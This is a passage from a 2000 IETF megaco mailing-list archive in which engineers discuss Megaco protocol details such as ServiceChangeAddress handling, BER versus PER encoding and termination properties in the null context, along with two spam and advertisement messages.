that the MGC cannot arbitrarily shift its source for commands, but must
instead issue a ServiceChange with ServiceChangeAddress or
ServiceChangeMgcId so that the MG ends up controlling the shift.

 -----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Thursday, September 07, 2000 1:48 PM
To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Bharat Kaul'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress



No, no, no.  The MGC never EVER sets up a transport connection.  The MG
always does this.  Remember: the MG does not have a TCP server, only a
client.
So it's always the MG that sets up the TCP connection.  With TCP you get
a full duplex channel, right?

I understand that with UDP, there is no "connection", so this isn't really
much
of an issue except for the timing weirdness.  It did occur to me that I did
make
an incorrect assumption on UDP - the MG could be listening on the new port
before it sent the ServiceChangeAddress, so the MGC can go ahead and send
the next command without any further ado.

There are two variables and four resulting circumstances where this can
occur.
I think 1.5 of them work.

The variables are who sends ServiceChange command, and who sends
ServiceChangeAddress.

When the MG sends ServiceChange command, and it sends ServiceChangeAddress,
you have a nonsense situation.  It's saying "send the reply to this command
at the
address I sent it from, send further commands to a new address".  The
problem
exists, because the MGC replies to the command at the old address, but then
has to wait until the MG creates the new transport to send the next command.

When the MG sends the ServiceChange command, but the MGC sets
ServiceChangeAddress, this is a "normal" case of something like a pooled
MGC,
or multiple network interfaces.  The same situation exists; the MGC has to
wait until
the MG sets up the new transport before sending the next command.

When the MGC sends the ServiceChange, and it sets the ServiceChangeAddress,
this is the normal handoff.  Here, things work, because the MG replies to
the old
address, tears down the transport and then SENDS A NEW SERVICECHANGE
command.  This is the way I want all of the cases to work, but it's the way
it
is already defined for this case.

The last case is truly warped.  The MGC sends a ServiceChange, and the MG
replies with a new address.  Sort of "well, while we are changing things,
why
don't we change my address".  If the ServiceChange the MG sent is handoff,
(which implies the MGC also set ServiceChangeAddress), everything is fine.
The MG replies to the old address, and then sets up the transport and sends
a
new ServiceChange command.  If the MGC just did something else, then we are
back in the state where the MGC has to wait for the new transport to be set
up
by the MG before it can send a new command.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 01:09:16 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA05700
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 01:09:15 -0400 (EDT)
Received: from standards (47.234.32.16:2805) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB915F2@standards.nortelnetworks.com>; Fri, 8 Sep 2000 0:54:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23570 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 00:54:13 -0400
Received: from mars.hss.co.in (202.54.26.197:54347) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB915F1@standards.nortelnetworks.com>; Fri, 8 Sep 2000 0:54:12
          -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8858Ih00696; Fri, 8 Sep 2000 10:38:19
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256954.001B3971 ; Fri, 8 Sep 2000 10:27:21 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256954.001B37AB.00@sandesh.hss.hns.com>
Date:         Fri, 8 Sep 2000 10:37:32 +0530
Reply-To: svkumar@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shiv Kumar <svkumar@HSS.HNS.COM>
Subject:      Re: ASN.1 BER
X-To:         "P.Venkatesh" <venkat@CHIPLOGIC.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi,

 What I meant to ask was whether the binary encoding method for MEGACO may
switch over
to PER. But judging from what Tom indicated in a related mail, it seems highly
unlikely, and
we will stick to BER, inspite of it being cumbersome.

Regards,
Shiv
>
>I wanted some clarifications regarding the binary encoding.
>
>Is there a  possibility of the binary encoding method to change
>from ASN.1 BER  to  PER ?


><venkat> there is no way you can convert BER to PER directly but you may
>use some compilers to genarate BER and PER code if you have ASN.1 Definitions


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 02:10:43 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA17816
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 02:10:42 -0400 (EDT)
Received: from standards (47.234.32.16:4146) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9161A@standards.nortelnetworks.com>; Fri, 8 Sep 2000 1:55:29 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23617 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 01:55:29 -0400
Received: from multiservers.com (63.226.117.70:2540) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91617@standards.nortelnetworks.com>; Fri, 8 Sep 2000 1:45:29
          -0400
Received: from _[71.63.223.11]_by ([38.203.43.211]) by multiservers.com
          (8.9.3/8.8.7) with SMTP id AAA19896; Fri, 8 Sep 2000 00:01:38 -0600
Received: from  [199.5.178.214] by _[71.63.223.11]_by with SMTP id A23C27E8
          Fri, 8 Sep 2000 01:46:10 PDT
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Message-ID:  <200009080601.AAA19896@multiservers.com>
Date:         Fri, 8 Sep 2000 01:55:29 -0400
Reply-To: a695webhost1@EMAIL.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: a695webhost1@EMAIL.COM
Subject:      Dirt Cheap Web Hosting $6.95 per month!!  No Gimmicks!
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

<HTML><FONT  SIZE=3 PTSIZE=10>Web Hosting $6.95 per month!!  No Gimmicks!<BR>
The first month is free - Follow the link for more information<BR>
Paying More Is Too Much!!<BR>
<BR>
<A HREF="http://www.your-info.net/695/">http://www.your-info.net/695/</A><BR>
<BR>
$6.95 per month for a full service user friendly Web Host.<BR>
No Banner Ads - Plenty of disk space.<BR>
<BR>
<A HREF="http://www.your-info.net/695/">http://www.your-info.net/695/</A><BR>
<BR>
You get:<BR>
30Mb Disk Space<BR>
2000Mb transfer per month<BR>
5 E-mail addresses with unlimited forwarding including a Catch All mailbox<BR>
Free Auto Responder for E-Mail<BR>
FrontPage Enabled if you want it -<BR>
FTP access 24 X 7 <BR>
Free Graphical Statistics Server with real time "Who's On"<BR>
Your own CGI-bin - Password protected Control Panel - Forms to E-Mail - Page<BR>
Counters<BR>
Free Qualified Technical Support<BR>
99.9% up time<BR>
SQL 7 packages available<BR>
Additional drive space and mailboxes available<BR>
Plus many other extras<BR>
<BR>
i1Internet $aver is a no hassle quality Web Host that believes that if you <BR>
pay more than $6.95 per month,  you are paying TOO MUCH!!  We offer you the <BR>
same EXTRAS as other sites charging three times more.<BR>
<BR>
<A HREF="http://www.your-info.net/695/">http://www.your-info.net/695/</A><BR>
<BR>
<BR>
<BR>
To be removed from this mailing list, please go to:<BR>
<A HREF="http://www.your-info.net/response.html">http://www.your-info.net/response.html</A><BR>
                  </HTML>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 09:50:32 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22597
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 09:50:30 -0400 (EDT)
Received: from standards (47.234.32.16:4995) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB916C6@standards.nortelnetworks.com>; Fri, 8 Sep 2000 9:32:25 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 23836 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 09:32:25 -0400
Received: from smtp1.cluster.oleane.net by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB916C5@standards.nortelnetworks.com>; Fri, 8 Sep 2000 9:32:24
          -0400
Received: from oleane  (dyn-1-1-009.Vin.dialup.oleane.fr [195.25.4.9])  by
          smtp1.cluster.oleane.net  with SMTP id PAA36538 for
          <megaco@standards.nortelnetworks.com>; Fri, 8 Sep 2000 15:45:51 +0200
          (CEST)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_00E0_01C019AB.BE77D400"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <00e301c0199a$fb6c2340$0401a8c0@oleane.com>
Date:         Fri, 8 Sep 2000 15:44:59 +0200
Reply-To: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Subject:      Upper Side  Conference
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_00E0_01C019AB.BE77D400
Content-Type: text/plain;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

International SIP 2001 (second edition)
Implementing H.323
MGC 2000 (second edition)
=20
Three conferences organised by Upper Side gathering the most eminent =
specialists in VoIP technologies.
=20
Get more details at:
http://www.upperside.fr/voip/voip.htm
=20

------=_NextPart_000_00E0_01C019AB.BE77D400
Content-Type: text/html;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>International <STRONG>SIP =
</STRONG>2001 (second=20
edition)</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Implementing =
<STRONG>H.323</FONT></STRONG></DIV>
<DIV><FONT color=3D#000000 size=3D2><STRONG>MGC</STRONG> 2000 (second=20
edition)</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Three conferences organised by Upper =
Side=20
gathering the most eminent specialists in VoIP =
technologies.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Get more details at:</FONT></DIV>
<DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://www.upperside.fr/voip/voip.htm">http://www.upperside.fr/vo=
ip/voip.htm</A></FONT></DIV>
<DIV>&nbsp;</FONT></DIV></DIV></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_00E0_01C019AB.BE77D400--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 14:24:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27453
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 14:24:03 -0400 (EDT)
Received: from standards (47.234.32.16:2186) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB917E0@standards.nortelnetworks.com>; Fri, 8 Sep 2000 14:08:09 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24186 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 14:08:09 -0400
Received: from mars.hss.co.in (202.54.26.197:61522) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB917DF@standards.nortelnetworks.com>; Fri, 8 Sep 2000
          14:08:03 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e88HiTh13292 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Fri, 8 Sep 2000 23:18:14 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256954.005F73B5 ; Fri, 8 Sep 2000 22:52:35 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256954.005F721F.00@sandesh.hss.hns.com>
Date:         Fri, 8 Sep 2000 22:57:38 +0530
Reply-To: knayar@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Kapil Nayar <knayar@HSS.HNS.COM>
Subject:      Can MGC modify term in NULL Context ?
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom,

6.1 Contexts....para2 mentions
Terminations in the null Context can have their parameters examined
or modified, and may have events detected on them.

6.2.1 Termination Dynamics...mentions
An MGC can only release/modify terminations
and the resources that the termination represents which it has
previously seized via, e.g., the Add command.

The question is that does the MG allow the MGC to change the package
property values associated with a termination in NULL context ??

And, if the answer is yes does this change the default values of
the package properties associated with the termination.
OR, does it only modify the properties temporarily for now. If the
termination is subsequently added and subtracted to and from a context,
respectively the property values change to the default values
before MGC modified them in NULL context.

Kapil Nayar
Hughes Software Systems Ltd.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 14:40:51 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA27736
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 14:40:48 -0400 (EDT)
Received: from standards (47.234.32.16:2186) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91807@standards.nortelnetworks.com>; Fri, 8 Sep 2000 14:22:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24233 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 14:22:43 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB91806@standards.nortelnetworks.com>; Fri, 8 Sep 2000 14:22:43
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA28809; Fri, 8 Sep 2000 14:35:45 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA03813; Fri, 8 Sep 2000 14:35:48 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8N786>; Fri, 8 Sep 2000 14:35:41 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678846@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 8 Sep 2000 14:35:36 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "knayar@HSS.HNS.COM" <knayar@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> The question is that does the MG allow the MGC to change the package
> property values associated with a termination in NULL context ??
For a physical termination, yes, absolutely

>
> And, if the answer is yes does this change the default values of
> the package properties associated with the termination.
> OR, does it only modify the properties temporarily for now. If the
> termination is subsequently added and subtracted to and from
> a context,
> respectively the property values change to the default values
> before MGC modified them in NULL context.
It changes the current value, and the termination returns to
this value when it is subtracted.  You can think of this as
changing the default value, although it's volatile.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 15:46:34 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA29052
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 15:46:33 -0400 (EDT)
Received: from standards (47.234.32.16:1298) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91853@standards.nortelnetworks.com>; Fri, 8 Sep 2000 15:31:24 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0043 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 15:31:23 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB91850@standards.nortelnetworks.com>; Fri, 8 Sep 2000 15:21:23
          -0400
Received: from chsharp-tecra.cisco.com ([10.82.192.17]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id MAA25208 for
          <megaco@standards.nortelnetworks.com>; Fri, 8 Sep 2000 12:34:31 -0700
          (PDT)
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.3.2.7.2.20000908131638.00b5f890@dogwood.cisco.com>
Date:         Fri, 8 Sep 2000 15:34:09 -0400
Reply-To: Chip Sharp <chsharp@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Chip Sharp <chsharp@CISCO.COM>
Subject:      Location of Mike Kallas and Zacharias Bilalis
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Sorry about the query.

Does anyone have the email address of Mike and Zacharias?
listserv doesn't respond to "who".

They are the current authors of the NAS Package.

Thanks,
Chip

-------------------------------------------------------------------
Chip Sharp                       Consulting Engineering
Cisco Systems
Reality - Love it or Change it.
http://www.netaid.org
-------------------------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 16:33:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA29958
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 16:33:16 -0400 (EDT)
Received: from standards (47.234.32.16:2849) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9188C@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:17:52 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0117 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 16:17:52 -0400
Received: from qhars002.nortel.com (47.101.112.102:34691) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91889@standards.nortelnetworks.com>; Fri, 8 Sep 2000
          16:17:51 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Fri, 8 Sep 2000
          20:54:54 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Fri, 8 Sep
          2000 15:52:20 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37A1JW4>; Fri, 8 Sep 2000 15:52:21 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D50@zcard00g.ca.nortel.com>
Date:         Fri, 8 Sep 2000 15:52:10 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Location of Mike Kallas and Zacharias Bilalis
X-To:         Chip Sharp <chsharp@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

They have both moved on from their previous employers.  I am writing another
draft of that document even as we "speak".

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@CISCO.COM]
> Sent: Friday, September 08, 2000 3:34 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Location of Mike Kallas and Zacharias Bilalis
>
>
> Sorry about the query.
>
> Does anyone have the email address of Mike and Zacharias?
> listserv doesn't respond to "who".
>
> They are the current authors of the NAS Package.
>
> Thanks,
> Chip
>
> -------------------------------------------------------------------
> Chip Sharp                       Consulting Engineering
> Cisco Systems
> Reality - Love it or Change it.
> http://www.netaid.org
> -------------------------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 16:33:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA29961
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 16:33:19 -0400 (EDT)
Received: from standards (47.234.32.16:2849) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91890@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:17:52 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0122 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 16:17:52 -0400
Received: from qhars002.nortel.com (47.101.112.102:34690) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9188A@standards.nortelnetworks.com>; Fri, 8 Sep 2000
          16:17:51 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Fri, 8 Sep 2000 20:58:01 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Fri, 8 Sep 2000 14:34:52 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SQ5C2L33>; Fri, 8 Sep 2000 14:34:46 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D4D@zcard00g.ca.nortel.com>
Date:         Fri, 8 Sep 2000 14:34:45 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Sorry, I have to contradict you on the second item.  See the last few
sentences of section 7.2.3.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Friday, September 08, 2000 2:36 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> > The question is that does the MG allow the MGC to change the package
> > property values associated with a termination in NULL context ??
> For a physical termination, yes, absolutely
>
> >
> > And, if the answer is yes does this change the default values of
> > the package properties associated with the termination.
> > OR, does it only modify the properties temporarily for now. If the
> > termination is subsequently added and subtracted to and from
> > a context,
> > respectively the property values change to the default values
> > before MGC modified them in NULL context.
> It changes the current value, and the termination returns to
> this value when it is subtracted.  You can think of this as
> changing the default value, although it's volatile.
>
> Brian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 16:33:24 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA29978
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 16:33:21 -0400 (EDT)
Received: from standards (47.234.32.16:2849) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91894@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:17:53 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0127 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 16:17:53 -0400
Received: from qhars002.nortel.com (47.101.112.102:34692) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9188B@standards.nortelnetworks.com>; Fri, 8 Sep 2000
          16:17:51 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Fri, 8 Sep 2000 20:30:12 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Fri, 8 Sep 2000 15:28:15 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37A12YV>; Fri, 8 Sep 2000 15:28:13 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D4C@zcard00g.ca.nortel.com>
Date:         Fri, 8 Sep 2000 15:28:03 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "knayar@HSS.HNS.COM" <knayar@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

You raise a couple of different issues.  My comments below.

> -----Original Message-----
> From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> Sent: Friday, September 08, 2000 1:28 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Can MGC modify term in NULL Context ?
>
>
> Hi Tom,
>
> 6.1 Contexts....para2 mentions
> Terminations in the null Context can have their parameters examined
> or modified, and may have events detected on them.
>
> 6.2.1 Termination Dynamics...mentions
> An MGC can only release/modify terminations
> and the resources that the termination represents which it has
> previously seized via, e.g., the Add command.
>
> The question is that does the MG allow the MGC to change the package
> property values associated with a termination in NULL context ??

[PTT] We seem to have a contradiction here.  I think 6.1 identifies the
intent more accurately than what the 6.2.1 quotation seems to imply.  So I'd
say the answer to your question is "yes".  For what it's worth, we show that
sort of operation in Appendix A.

>
> And, if the answer is yes does this change the default values of
> the package properties associated with the termination.
> OR, does it only modify the properties temporarily for now. If the
> termination is subsequently added and subtracted to and from
> a context,
> respectively the property values change to the default values
> before MGC modified them in NULL context.

[PTT] We came to the decision that the MGC only temporarily modifies the
properties -- subsequent addition and subtraction restores the defaults.

>
> Kapil Nayar
> Hughes Software Systems Ltd.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 16:38:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA00063
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 16:38:19 -0400 (EDT)
Received: from standards (47.234.32.16:2849) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB918E4@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:20:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0223 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 16:20:57 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB918E3@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:20:56
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e88KcOH07290 for
          <megaco@standards.nortelnetworks.com>; Fri, 8 Sep 2000 13:38:24 -0700
          (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id NAA02377 for
          <megaco@standards.nortelnetworks.com>; Fri, 8 Sep 2000 13:33:49 -0700
          (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
